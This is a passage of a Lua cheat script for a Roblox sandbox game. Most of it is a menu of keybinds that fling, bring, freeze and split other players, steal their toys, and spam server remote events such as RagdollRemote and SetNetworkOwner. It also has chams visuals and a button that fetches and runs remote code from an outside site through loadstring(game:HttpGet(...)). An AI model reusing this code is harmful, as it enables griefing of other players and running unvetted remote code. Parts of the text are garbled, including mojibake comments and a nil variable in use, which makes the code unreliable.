Callback = function(Keybind)
local hrp, hum = get_all()
local target = O.mouse.Target
local hit = O.mouse.Hit
local prt = wait_load(toy_aspawn("BombMissile", 2, hrp),
"PartHitDetector")
if target then toy_explode(prt, target, hit.Position)
else toy_explode(prt, prt, prt.Position) end
end,
})
toytab:CreateKeybind({
Name = "Loop Spawn Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "BombMissile.LoopSpawnBind",
Callback = function(Keybind)
fstatus("Loop Spawn".." is a "..(not(loopspawnrocket) and
"En" or "Dis").."abled")
BombMissileLoopSpawn:Set(not(loopspawnrocket))
end,
})
toytab:CreateSection("Firework Missile")
toytab:CreateKeybind({
Name = "Spawn Explosion",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "FireworkMissile.SpawnExplosionBind",
Callback = function(Keybind)
local hrp, hum = get_all()
local target = O.mouse.Target
local hit = O.mouse.Hit
local prt = wait_load(toy_aspawn("FireworkMissile", 2,
hrp), "PartHitDetector")
if target then toy_explode(prt, target, hit.Position)
else toy_explode(prt, prt, prt.Position) end
end,
})
toytab:CreateKeybind({
Name = "Loop Spawn Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "FireworkMissile.LoopSpawnBind",
Callback = function(Keybind)
fstatus("Loop Spawn".." is a "..
(not(loopspawnfireworkrocket) and "En" or "Dis").."abled")
FireworkMissileLoopSpawn:Set(not(loopspawnfireworkrocket))
end,
})
toytab:CreateSection("Bomb Balloon")
toytab:CreateKeybind({
Name = "Spawn Explosion",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "BombBalloon.SpawnExplosionBind",
Callback = function(Keybind)
local hrp, hum = get_all()
local target = O.mouse.Target
local hit = O.mouse.Hit
local toy = toy_aspawn("BombBalloon", 2, hrp)
local prt = wait_load(toy, "Balloon")
if target then toy_explode(prt, target, hit.Position)
else toy_explode(prt, prt, prt.Position) end
end,
})
toytab:CreateKeybind({
Name = "Loop Spawn Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "BombBalloon.LoopSpawnBind",
Callback = function(Keybind)
fstatus("Loop Spawn".." is a "..(not(loopspawnBombBalloon)
and "En" or "Dis").."abled")
BombBalloonLoopSpawn:Set(not(loopspawnBombBalloon))
end,
})
toytab:CreateKeybind({
Name = "Spawn Explosion",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "BombDarkMatter.SpawnExplosionBind",
Callback = function(Keybind)
local hrp, hum = get_all()
local target = O.mouse.Target
local hit = O.mouse.Hit
local prt = wait_load(toy_aspawn("BombDarkMatter", 2, hrp),
"PartHitDetector")
if target then toy_explode(prt, target, hit.Position)
else toy_explode(prt, prt, prt.Position) end
end,
})
toytab:CreateKeybind({
Name = "Loop Spawn Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "BombDarkMatter.LoopSpawnBind",
Callback = function(Keybind)
fstatus("Loop Spawn".." is a "..
(not(loopspawnbombdarkmatter) and "En" or "Dis").."abled")
BombDarkMatterLoopSpawn:Set(not(loopspawnbombdarkmatter))
end,
})
toytab:CreateSection("Ball Snowball")
toytab:CreateKeybind({
Name = "Spawn Explosion",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "BallSnowball.SpawnExplosionBind",
Callback = function(Keybind)
local hrp, hum = get_all()
local target = O.mouse.Target
local hit = O.mouse.Hit
local prt = wait_load(toy_aspawn("BallSnowball", 2, hrp),
"SoundPart")
if target then toy_explode(prt, target, hit.Position)
else toy_explode(prt, prt, prt.Position) end
end,
})
toytab:CreateKeybind({
Name = "Loop Spawn Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "BallSnowball.LoopSpawnBind",
Callback = function(Keybind)
fstatus("Loop Spawn".." is a "..(not(loopspawnballsnowball)
and "En" or "Dis").."abled")
BallSnowballLoopSpawn:Set(not(loopspawnballsnowball))
end,
})
toytab:CreateSection("Spawn")
toytab:CreateKeybind({
Name = "Loop Spawn Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "LoopSpawnBind",
Callback = function(Keybind)
fstatus("Loop Spawn".." is a "..(not(loopspawn) and "En" or
"Dis").."abled")
LoopSpawn:Set(not(loopspawn))
end,
})
toytab:CreateSection("Delete")
toytab:CreateButton({
Name = "Delete All My Toys",
Callback = function()
for _,toy in pairs(O.backpack:GetChildren()) do
O.Events.DestroyToyEvent:FireServer(toy) end
end,
})
toytab:CreateButton({
Name = "Tp All Pallets",
Callback = function()
local hrp, hum = get_all()
if hum and check_hum(hum) then
local save = hrp.CFrame
for _,bcpk in pairs(O.backpacks:GetChildren()) do
local name = bcpk.plr_name.Value
if S.Players:FindFirstChild(name) and
check_rank(S.Players[name]) then
for _,toy in pairs(bcpk:GetChildren()) do
if toy.Name == "PalletLightBrown"
then
local prt = get_grabprt(toy);
if prt then
auto_invis_touch(prt,
hrp)
prt.CFrame = P.tptoypos
end
end
end
end
end
hrp.CFrame = save
end
end,
})
toytab:CreateButton({
Name = "Tp All Players Toys",
Callback = function()
local hrp, hum = get_all()
if hum and check_hum(hum) then
local save = hrp.CFrame
for _,bcpk in pairs(O.backpacks:GetChildren()) do
local name = bcpk.plr_name.Value
if S.Players:FindFirstChild(name) and
check_rank(S.Players[name]) then
for _,toy in pairs(bcpk:GetChildren()) do
local prt = get_grabprt(toy); if
prt then
safe_invis_touch(prt, hrp)
prt.CFrame = P.tptoypos
end
end
end
end
hrp.CFrame = save
end
end,
})
bindtab:CreateKeybind({
Name = "Click TP",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "ClickTPBind",
Callback = function(Keybind)
local v1 = O.mouse.hit
local v2 = get_hrp()
if v1 and v2 then v2.CFrame = CFrame.new(v1.x, v1.y+5, v1.z) end
end,
})
bindtab:CreateKeybind({
Name = "Click TP(hold)",
CurrentKeybind = "",
HoldToInteract = true,
Flag = "ClickTPBindhold",
Callback = function(Keybind)
local v1 = O.mouse.hit
local v2 = get_hrp()
if v1 and v2 then v2.CFrame = CFrame.new(v1.x, v1.y+5, v1.z) end
end,
})
bindtab:CreateKeybind({
Name = "Invisble Touch",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "InvisbleTouchBind",
Callback = function(Keybind)
local target = O.mouse.Target
if target and target.CanCollide then
local hrp, hum = get_all()
if hum and check_hum(hum) then
auto_invis_touch(target, hrp)
end
end
end,
})
bindtab:CreateKeybind({
Name = "Fling Player",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "FlingPlayerBind",
Callback = function(Keybind)
local target = O.mouse.Target
local hrp, hum, hd, hrp1, hum1, hd1 = get_all12(target)
if hum and check_hum(hum) and hum1 and check_hum(hum1) and
check_prem(hrp1.Parent) then plr_fling(hrp) end
end,
})
bindtab:CreateKeybind({
Name = "Bring Player",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "BringPlayeBind",
Callback = function(Keybind)
local v1 = O.me.Character; if v1 then
local v2 = v1:FindFirstChild("HumanoidRootPart"); if v2
then
local v3 = O.mouse.target; if v3 then
local check = {"Head","Right Arm","Right
Leg","Left Arm","Left Leg","Torso","FirePlayerPart","HumanoidRootPart"}
local t = false
for _,v in check do if v == v3.Name then t =
true; break end end
if t then
auto_invis_touch(v3.Parent.Head, v2)
v3.Parent.HumanoidRootPart.CFrame =
v2.CFrame + v2.CFrame.LookVector*3 + Vector3.new(0, 10, 0)
end
end
end
end
end,
})
bindtab:CreateKeybind({
Name = "Bring Object",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "BringObject",
Callback = function(Keybind)
local v1 = O.me.Character; if v1 then
local v2 = v1:FindFirstChild("HumanoidRootPart"); if v2
then
local v3 = O.mouse.target; if v3 and not(v3.Anchored)
and v3.CollisionGroup == "Items" then
local save = v2.CFrame
auto_invis_touch(v3, v2)
v2.CFrame = save
v3.CFrame = v2.CFrame + v2.CFrame.LookVector*3
+ Vector3.new(0, 10, 0)
end
end
end
end,
})
bindtab:CreateKeybind({
Name = "Split Player",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "SplitPlayer",
Callback = function(Keybind)
local target = O.mouse.Target
if target and check_limbs(target) then plr_split(target, false)
end
end,
})
bindtab:CreateKeybind({
Name = "Stop Velocity",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "StopVelocityBind",
Callback = function(Keybind)
for _, v in ipairs(O.me.Character:GetDescendants()) do
if v:IsA("BasePart") then
v.Velocity, v.RotVelocity = Vector3.new(0, 0, 0),
Vector3.new(0, 0, 0)
end
end
end,
})
bindtab:CreateKeybind({
Name = "Zoom",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "Zoom",
Callback = function(Keybind)
L.zoombind = not(L.zoombind)
if L.zoombind then
N.zoombindv = S.w.CurrentCamera.FieldOfView
S.w.CurrentCamera.FieldOfView = 10
else
S.w.CurrentCamera.FieldOfView = N.zoombindv
end
end,
})
bindtab:CreateKeybind({
Name = "Lock Grab",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "LockGrab",
Callback = function(Keybind)
S.w.GrabParts:Clone().Parent = S.w
S.w.GrabParts:Destroy()
S.w.GrabParts.BeamPart:Destroy()
a=a+1
S.w.GrabParts.Name = a
end,
})
bindtab:CreateKeybind({
Name = "Delete All Lock Grabs",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "DeleteAllLockGrabsBind",
Callback = function(Keybind)
delete_clone_grab()
end,
})
bindtab:CreateKeybind({
Name = "Freeze Grab",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "FreezeGrab",
Callback = function(Keybind)
local gp = S.w:FindFirstChild("GrabParts")
local target = O.mouse.Target
local hrp, hum = get_all()
if check_hum(hum) then
local prt
if gp then prt = wait_load2(gp, {"GrabPart",
"WeldConstraint"}).Part1
elseif target then prt = target end
if check_limbs(prt) then prt = wait_load2(prt.Parent,
{"Head"}) end
freeze(prt, hrp)
end
end,
})
bindtab:CreateKeybind({
Name = "Unfreeze Grab",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "UnfreezeGrab",
Callback = function(Keybind)
local v1 = O.mouse.target; if v1 then
local v2 = v1:FindFirstChild("fzhl")
local v3 = v1:FindFirstChild("fzbg")
local v4 = v1:FindFirstChild("fzbp")
for _,obj in pairs(v1.Parent:GetDescendants()) do if
obj.Name == "fgbp" then v2 = obj end end
for _,obj in pairs(v1.Parent:GetDescendants()) do if
obj.Name == "fgbg" then v3 = obj end end
for _,obj in pairs(v1.Parent:GetDescendants()) do if
obj.Name == "fgobhl" then v4 = obj end end
if v2 and v3 and v4 then
v2:Destroy()
v3:Destroy()
v4:Destroy()
end
end
end,
})
bindtab:CreateKeybind({
Name = "Unfreeze All Grabs",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "UnfreezeAllGrabs",
Callback = function(Keybind)
for _,bp in pairs(S.w:GetDescendants()) do if bp.Name == "fzhl"
then bp:Destroy() end end
for _,bg in pairs(S.w:GetDescendants()) do if bg.Name == "fzbg"
then bg:Destroy() end end
for _,hl in pairs(S.w.hls:GetChildren()) do if hl.Name == "fzbp"
then hl:Destroy() end end
end,
})
bindtab:CreateKeybind({
Name = "Glue Grab",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "GlueGrabBind",
Callback = function(Keybind)
if not(L.gluegrab) then
local v1 = O.me.Character; if v1 then
local v2 = v1:FindFirstChild("HumanoidRootPart"); if
v2 then
local v3 = S.w:FindFirstChild("GrabParts"); if
v3 then
local prt =
v3.GrabPart.WeldConstraint.Part1
invis_touch(prt)
table.insert(Lt.ggl, prt)
L.gluegrab = true
while Lt.ggl ~= {} and task.wait() do
local v1 = O.me.Character; if v1
then
local v2 =
v1:FindFirstChild("HumanoidRootPart"); if v2 then
local first_prt
local att0
for _,prt in
pairs(Lt.ggl) do
if prt.Parent then
local ov =
prt:FindFirstChild("ggfpcf")
local ov1 =
prt:FindFirstChild("ggcpcf")
local ov2 =
prt:FindFirstChild("gghlov")
local bp =
prt:FindFirstChild("ggbp")
local bg =
prt:FindFirstChild("ggbg")
if
not(first_prt) then
first_prt = prt
if
not(ov) then
ov = Instance.new("CFrameValue", prt)
ov.Value = prt.CFrame
ov.Name = "ggfpcf"
end
else
if
not(bp) then
bp = Instance.new("BodyPosition", prt)
bp.D = 100
bp.MaxForce = N.V.mhv3
bp.Name = "ggbp"
end
if
not(bg) then
bg = Instance.new("BodyGyro", prt)
bg.D = 100
bg.MaxTorque = N.V.mhv3
bg.Name = "ggbg"
end
if
not(ov1) then
ov1.Value = prt.CFrame
ov1.Name = "ggcpcf"
end
local
fCframeOld = first_prt.ggfpcf.Value
local
firstCFrameNew = first_prt.CFrame
local
sCFrameOld = ov1.Value
local
function sqrt(input) return math.sqrt(input) end
local
function cos(input) return math.cos(input) end
local
function sin(input) return math.sin(input) end
local
function acos(input) return math.acos(input) end
local
function asin(input) return math.asin(input) end
--
Ðадо Ð´Ð»Ñ Ð¾Ð±Ð¾Ð¸Ñ… чаÑтей функции
local
fhypDif = sqrt(fCframeOld.lookVector.x^2+fCframeOld.lookVector.z^2)
fhypDif = 1/fhypDif
local
fRadLookOld = {
x=acos(fCframeOld.lookVector.x*fhypDif),
y=asin(fCframeOld.lookVector.y)}
local
firstHypDifNew = sqrt(firstCFrameNew.lookVector.x^2+firstCFrameNew.lookVector.z^2)
firstHypDifNew = 1/firstHypDifNew
local
firstRadLookNew={x=nil, y=nil}
if
firstCFrameNew.lookVector.z < 0 then
firstRadLookNew.x = acos(firstCFrameNew.lookVector.x*firstHypDifNew)+
(math.pi-acos(firstCFrameNew.lookVector.x*firstHypDifNew))*2
else
firstRadLookNew.x = acos(firstCFrameNew.lookVector.x*firstHypDifNew) end
if
sqrt(firstCFrameNew.lookVector.x^2+firstCFrameNew.lookVector.z^2)<0 then
firstRadLookNew.y = asin(firstCFrameNew.lookVector.y)+((math.pi/2) -
asin(firstCFrameNew.lookVector.y))*2
else
firstRadLookNew.y = asin(firstCFrameNew.lookVector.y) end
local
fDifRad={
x=fRadLookOld.x-firstRadLookNew.x,
y=fRadLookOld.y-firstRadLookNew.y}
--
Ðахождение координат
local
partDif = fCframeOld.Position - sCFrameOld.Position
local
distance = sqrt((partDif.y)^2+(partDif.x)^2+(partDif.z)^2)
local
distHypdif = 1/distance
local
distVector = partDif*distHypdif
local
distVectorHypDif = sqrt(distVector.x^2+distVector.z^2)
distVectorHypDif = 1/distVectorHypDif
local
distVectorRad = {x=nil,y=nil}
if
distVector.z*distVectorHypDif < 0 then
distVectorRad.x = acos(distVector.x*distVectorHypDif)+(math.pi-
acos(distVector.x*distVectorHypDif))*2
else
distVectorRad.x = acos(distVector.x*distVectorHypDif) end
if
sqrt(distVector.x^2+distVector.z^2)<0 then
distVectorRad.y = asin(distVector.y)+((math.pi/2)-asin(distVector.y))*2
else
distVectorRad.y = asin(distVector.y) end
local
finalVectorRad = {
x=distVectorRad.x-fDifRad.x,
y=distVectorRad.y-fDifRad.y}
local
finalPosVector = Vector3.new(
cos(finalVectorRad.x/(1/cos(finalVectorRad.y))),
sin(finalVectorRad.y),
sin(finalVectorRad.x/(1/cos(finalVectorRad.y))))
finalPosVector = finalPosVector/distHypdif
--
Ðахождение лукВектора
local
sHypDif = 1/sqrt(sCFrameOld.lookVector.x^2+sCFrameOld.lookVector.z^2)
local
sRadLookOld = {x=nil,y=nil}
if
sCFrameOld.lookVector.z*sHypDif < 0 then
sRadLookOld.x = acos(sCFrameOld.lookVector.x*sHypDif)+(math.pi-
acos(sCFrameOld.lookVector.x*sHypDif))*2
else
sRadLookOld.x = acos(sCFrameOld.lookVector.x*sHypDif) end
if
sqrt(sCFrameOld.lookVector.x^2+sCFrameOld.lookVector.z^2)<0 then
sRadLookOld.y = asin(sCFrameOld.lookVector.y)+((math.pi/2)-
asin(sCFrameOld.lookVector.y))*2
else
sRadLookOld.y = asin(sCFrameOld.lookVector.y) end
local
finalLookRad = {
x=sRadLookOld.x-fDifRad.x,
y=sRadLookOld.y-fDifRad.y}
local
finalLookVector = Vector3.new(
cos(finalLookRad.x/(1/cos(finalLookRad.y))),
sin(finalLookRad.y),
sin(finalLookRad.x/(1/cos(finalLookRad.y))))
local
FinalCFrame = CFrame.new(finalPosVector, finalLookVector)
print(finalPosVector)
print(first_prt.Position)
print(finalLookVector)
print(first_prt.CFrame.LookVector)
--
bg.CFrame = prt.CFrame
--
bg.CFrame.LookVector = finalLookVector
--
prt.CFrame.LookVector = finalLookVector
--
bg.CFrame = prt.CFrame
hl.Name = "gghl"
hl.FillTransparency = 0.5
hl.OutlineTransparency = 0
hl.Adornee = prt.Parent
ov2 =
Instance.new("ObjectValue", prt)
ov2.Name = "gghlov"
ov2.Value = hl
else hl =
ov2.Value end
if prt ~=
first_prt then
auto_invis_touch(prt, v2, hl, N.C2)
end
end
end
first_prt = nil
end
end
end
end
end
end
else
local v1 = O.me.Character; if v1 then
local v2 = v1:FindFirstChild("HumanoidRootPart"); if
v2 then
local v3 = S.w:FindFirstChild("GrabParts"); if
v3 then
local prt =
v3.GrabPart.WeldConstraint.Part1
invis_touch(prt)
table.insert(Lt.ggl, prt)
end
end
end
end
end,
})
bindtab:CreateKeybind({
Name = "Unglue All Grabs",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "UnglueAllGrabsBind",
Callback = function(Keybind)
Lt.ggl = {}
for _,obj in pairs(S.w:GetDescendants()) do if obj.Name == "gghl"
or obj.Name == "gghlov" or obj.Name == "ggfpcf" or obj.Name == "ggbp" or obj.Name
== "ggbg" then obj:Destroy() end end
end,
})
bindtab:CreateKeybind({
Name = "Auto Clicker",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "AutoClicker",
Callback = function(Keybind)
local v1 = O.mouse.target; if v1 then loop_invis_touch(v1) end
end,
})
bindtab:CreateKeybind({
Name = "Auto Clicker(all similar nearby)",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "AutoClicker(all similar objects are nearby)",
Callback = function(Keybind)
local v1 = O.mouse.target; if v1 then
local v7 = v1.ClassName
local v2 = v1.CanCollide
local v3 = v1.CanQuery
local v4 = v1.CanTouch
local v5 = v1.CollisionGroup
local v6 = v1.Name
for _,obj in pairs(S.w:GetDescendants()) do
if obj.ClassName == v7 and obj.CanCollide == v2 and
obj.CanQuery == v3 and obj.CanTouch == v4 and obj.CollisionGroup == v5 and obj.Name
== v6 then
if check_mag1(v1, obj) then
task.spawn(loop_invis_touch, obj)
end
end
end
end
end,
})
bindtab:CreateKeybind({
Name = "Delete Auto Clicker",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "DeleteAutoClicker",
Callback = function(Keybind)
local v1 = O.mouse.target; if v1:FindFirstChild("ait") then
v1.ait.Value:Destroy(); v1.ait:Destroy() end
end,
})
bindtab:CreateKeybind({
Name = "Delete All Auto Clickers",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "DeleteAllAutoClicker",
Callback = function(Keybind)
for _,obj in pairs(S.w:GetDescendants()) do if obj.Name == "ait"
or obj.Name == "aithl" then obj:Destroy() end end
end,
})
bindtab:CreateKeybind({
Name = "Delete Object",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "DeleteObjectBind",
Callback = function(Keybind)
local target = O.mouse.Target
invis_touch(target)
wait(0.1)
if target.PartOwner and target.PartOwner.Value == O.me.Name then
target.CFrame = CFrame.new(363.534424, -7.35040426,
527.307678, 0.425311029, 3.02851468e-08, -0.905047238, 8.34827762e-09, 1,
3.73856288e-08, 0.905047238, -2.34561064e-08, 0.425311029)
end
end,
})
bindtab:CreateKeybind({
Name = "Sit On Blob",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "SitOnBlob",
Callback = function(Keybind)
if O.me.Character then
if not(O.backpack:FindFirstChild("CreatureBlobman")) then
while not(O.me.CanSpawnToy.Value) do task.wait() end
task.spawn(toy_spawn2, "CreatureBlobman")
end
while not(O.backpack:FindFirstChild("CreatureBlobman")) do
task.wait() end
while not(O.me.Character.Humanoid.SeatPart) and task.wait()
do
O.backpack:FindFirstChild("CreatureBlobman").VehicleSeat:sit(O.me.Character.Humanoi
d)
end
end
end,
})
bindtab:CreateKeybind({
Name = "Create Big Snow Ball",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "CreateBigSnowBall",
Callback = function(Keybind)
local v1 = O.me.Character; if v1 then
local v2 = v1:FindFirstChild("HumanoidRootPart"); if v2
then
while O.backpack:FindFirstChild("BallSnowball") and
task.wait() do O.backpack.BallSnowball.Name = "BallSnowballO" end
while not(O.me.CanSpawnToy.Value) do task.wait() end
task.spawn(toy_spawn1, "BallSnowball")
while not(O.backpack:FindFirstChild("BallSnowball"))
do task.wait() end
local v3 = O.backpack:FindFirstChild("BallSnowball")
v3.Name = "BallSnowballN"
v3.SoundPart.CanTouch = false
while not(v3.SoundPart:FindFirstChild("PartOwner"))
and task.wait() do
if (v2.Position -
v3.SoundPart.Position).Magnitude > 30 then v2.CFrame = v3.CFrame + Vector3.new(0, -
10, 0) end
invis_touch(v3.SoundPart)
end
local bp = Instance.new("BodyPosition", v3.SoundPart)
bp.MaxForce = N.V.mhv3
bp.D = 100
bp.Position = Vector3.new(-410, 228, 522)
task.wait(1)
bp.D = 0
while v3.SoundPart.Size.X < 70 and task.wait() do
bp.Position = Vector3.new(-410, 229-
v3.SoundPart.Size.X, 520)
if
not(v3.SoundPart:FindFirstChild("PartOwner")) then
while
not(v3.SoundPart:FindFirstChild("PartOwner")) and task.wait() do
if (v2.Position -
v3.SoundPart.Position).Magnitude > 30 then
local save = v2.CFrame
while
not(v3.SoundPart:FindFirstChild("PartOwner")) and task.wait() do
v2.CFrame =
v3.SoundPart.CFrame + Vector3.new(0, -10, 0)
invis_touch(v3.SoundPart)
end
v2.CFrame = save
else invis_touch(v3.SoundPart) end
end
end
end
bp.D = 100
bp.Position = Vector3.new(0, 1000, 0)
v3.SoundPart.CanTouch = true
bp:Destroy()
v3.SoundPart.CFrame = v2.CFrame + Vector3.new(0, 100,
0)
end
end
end,
})
bindtab:CreateButton({
Name = "ffffffffff",
Callback = function()
for _, v in pairs(workspace:GetDescendants()) do
if v.Name == "CreatureBlobman" then
local args = {
[1] = v.RightDetector,
[2] =
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart,
[3] = v.RightDetector.RightWeld
}
v.BlobmanSeatAndOwnerScript.CreatureGrab:FireServer(unpack(args))
local args = {
[1] =
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart,
[2] =
CFrame.new(v.RightDetector.Position) * CFrame.Angles(-0, 0, -0)
}
game:GetService("ReplicatedStorage").GrabEvents.SetNetworkOwner:FireServer(unpack(a
rgs))
end
end
end,
})
bindtab:CreateToggle({
Name = "ffffffffffffffffffff",
CurrentValue = false,
Flag = "",
Callback = function(Value)
wtrhrhrthrth = Value
if wtrhrhrthrth then
spawn(function()
while wtrhrhrthrth do
local character =
game:GetService("Players").LocalPlayer.Character
if character and
character:FindFirstChild("HumanoidRootPart") then
local args = {
[1] =
character.HumanoidRootPart,
[2] = 0
}
game:GetService("ReplicatedStorage").CharacterEvents.RagdollRemote:FireServer(unpac
k(args))
end
wait(0.0000000000000000000000000000000000000000000000000000001)
end
end)
end
end,
})
end
scripttab:CreateButton({
Name = "Open Dex Explorer V2",
Callback = function()
loadstring(game:HttpGet('https://ithinkimandrew.site/scripts/tools/dark-
dex.lua'))()
end,
})
scripttab:CreateButton({
Name = "Rejoin Game",
Callback = function()
local TeleportService = game:GetService("TeleportService")
local Players = game:GetService("Players")
local LocalPlayer = O.me
coroutine.resume(Rejoin)
end,
})
visualtab:CreateSection("Chams")
visualtab:CreateToggle({
Name = "Chams Toggle",
CurrentValue = false,
Flag = "ChamsToggle",
Callback = function(Value)
chamst = Value
set_chams_parametr()
end,
})
visualtab:CreateColorPicker({
Name = "Fill Color",
Color = Color3.fromRGB(0,0,0),
Flag = "FillColor/chams",
Callback = function(Value)
chamsfc = Value
set_chams_parametr()
end
})
visualtab:CreateSlider({
Name = "Fill Transparency",
Range = {0, 1},
Increment = 0.1,
Suffix = "",
CurrentValue = 0.7,
Flag = "FillTransparency",
Callback = function(Value)
N.chamsft = Value
set_chams_parametr()
end,
})
visualtab:CreateColorPicker({
Name = "Outline Color",
Color = Color3.fromRGB(0,0,0),
Flag = "OutlineColor/chams",
Callback = function(Value)
chamsoc = Value
set_chams_parametr()
end
})
visualtab:CreateSlider({
Name = "Outline Transparency",
Range = {0, 1},
Increment = 0.1,
Suffix = "",
CurrentValue = 0,
Flag = "OutlineTransparency",
Callback = function(Value)
N.chamsot = Value
set_chams_parametr()
end,
})
visualtab:CreateSection("FPS Boost")
visualtab:CreateDropdown({
Name = "Graphics Quality",
Options = {"Bad","Default","Good","Best"},
CurrentOption = {""},
MultipleOptions = false,
Flag = "GraphicsQuality",
Callback = function(Option)
local temp = ""; for _,t in pairs(Option) do temp = temp..t
end
if temp == "Bad" then
reset_gq()
for _,obj in pairs(S.w:GetDescendants()) do if
obj:IsA("Part") then local bv = Instance.new("BoolValue", obj); bv.Name = "gqcs";
bv.Value = obj.CastShadow; obj.CastShadow = false end end
game.Lighting.Technology = "Legacy"
game.MaterialService.Use2022Materials = true
elseif temp == "Default" then reset_gq()
elseif temp == "Good" then
reset_gq()
game.Lighting.Technology = "ShadowMap"
elseif temp == "Best" then
reset_gq()
-- for _,obj in pairs(S.w:GetDescendants()) do if
obj:IsA("Part") then local bv = Instance.new("BoolValue", obj); bv.Name = "gqcs";
bv.Value = obj.CastShadow; obj.CastShadow = true end end
for _,obj in pairs(S.w:GetDescendants()) do if
obj:IsA("PointLight") then local bv = Instance.new("BoolValue", obj); bv.Name =
"gqs"; bv.Value = obj.Shadows; obj.Shadows = true end end
for _,obj in pairs(S.w:GetDescendants()) do if
obj:IsA("SpotLight") then local bv = Instance.new("BoolValue", obj); bv.Name =
"gqs"; bv.Value = obj.Shadows; obj.Shadows = true end end
O.sunrays.Intensity = 0.25
O.sunrays.Spread = 1
game.Lighting.Technology = "Future"
game.Lighting.OutdoorAmbient = Color3.fromRGB(160,
160, 160)
game.Lighting.Ambient = Color3.fromRGB(80, 80, 80)
O.bloomeffect.Intensity = 1
O.bloomeffect.Size = 1
O.bloomeffect.Threshold = 1
end
end,
})
visualtab:CreateToggle({
Name = "Hide All Toys",
CurrentValue = false,
Flag = "HideAllToys",
Callback = function(Value)
L.hidealltoys = not(L.hidealltoys)
local t = L.hidealltoys
while t == L.hidealltoys and task.wait() do
for _,plr in ipairs(S.Players:GetPlayers()) do
if plr ~= O.me then
if
S.w:FindFirstChild(plr.Name.."SpawnedInToys") then
for _,toy in
pairs(S.w[plr.Name.."SpawnedInToys"]:GetChildren()) do
for _,prt in
pairs(toy:GetDescendants()) do
if prt:IsA("Part") then
local nb =
prt:FindFirstChild("TValue")
if not(nb) then
nb =
Instance.new("NumberValue", prt)
nb.Name =
"TValue"
nb.Value =
prt.Transparency
end
if L.hidealltoys
then prt.Transparency = 1 else prt.Transparency = nb.Value end
end
end
task.wait()
end
end
end
end
end
end,
})
visualtab:CreateToggle({
Name = "No Shadow All Toys",
CurrentValue = false,
Flag = "NoShadowAllToys",
Callback = function(Value)
L.shadowalltoys = not(L.shadowalltoys)
local t = L.shadowalltoys
while t == L.shadowalltoys and task.wait() do
for _,plr in ipairs(S.Players:GetPlayers()) do
if plr ~= O.me then
if
S.w:FindFirstChild(plr.Name.."SpawnedInToys") then
for _,toy in
pairs(S.w[plr.Name.."SpawnedInToys"]:GetChildren()) do
for _,prt in
pairs(toy:GetDescendants()) do
if prt:IsA("Part") then
local bv =
prt:FindFirstChild("SValue")
if not(bv) then
bv =
Instance.new("BoolValue", prt)
bv.Name =
"SValue"
bv.Value =
prt.CastShadow
end
if L.shadowalltoys
then prt.CastShadow = false else prt.CastShadow = bv.Value end
end
end
task.wait()
end
end
end
end
end
end,
})
visualtab:CreateToggle({
Name = "Store All Players Toys",
CurrentValue = false,
Flag = "StoreAllToys",
Callback = function(Value)
L.storeallplayerstoys = not(L.storeallplayerstoys)
local t = L.storeallplayerstoys
while t == L.storeallplayerstoys and task.wait() do
for _,plr in ipairs(S.Players:GetPlayers()) do
if plr ~= O.me then
if L.storeallplayerstoys then
if
S.w:FindFirstChild(plr.Name.."SpawnedInToys") then
S.w[plr.Name.."SpawnedInToys"].Parent = S.RS
end
else
if
S.RS:FindFirstChild(plr.Name.."SpawnedInToys") then
S.RS[plr.Name.."SpawnedInToys"].Parent = S.w
end
end
end
end
end
end,
})
visualtab:CreateSection("Sky")
visualtab:CreateColorPicker({
Name = "Clouds Color",
Color = Color3.fromRGB(0,0,0),
Flag = "CloudsColor",
Callback = function(Value)
S.w.Terrain.Clouds.Color = Value
end
})
visualtab:CreateSlider({
Name = "Time Slider",
Range = {0, 23},
Increment = 0.001,
Suffix = "",
CurrentValue = 14,
Flag = "FOVSlider",
Callback = function(Value)
game.Lighting.ClockTime = Value
end,
})
visualtab:CreateToggle({
Name = "Time Sync",
CurrentValue = false,
Flag = "timesync",
Callback = function(Value)
timesync = Value
while timesync and task.wait(1) do
local data = request({
Url =
"https://www.timeapi.io/api/time/current/zone?timeZone=Europe%2FAmsterdam",
Method = "GET",
})
data = S.HS:JSONDecode(data.Body)
game.Lighting.TimeOfDay =
tostring(tonumber(data.hour)+1)..":"..data.minute..":"..data.seconds
end
end,
})
visualtab:CreateSection("World")
visualtab:CreateColorPicker({
Name = "Ocean Color",
Color = Color3.fromRGB(8,137,207),
Flag = "OceanColor",
Callback = function(Value)
local v1 =
O.m.AlwaysHereTweenedObjects.Ocean.Object.ObjectModel
for _,prt in pairs(v1:GetChildren()) do
if prt:IsA("Part") and prt.Name == "Ocean" then
prt.Color = Value
end
end
end
})
visualtab:CreateSection("Others")
visualtab:CreateSlider({
Name = "FOV Slider",
Range = {1, 120},
Increment = 1,
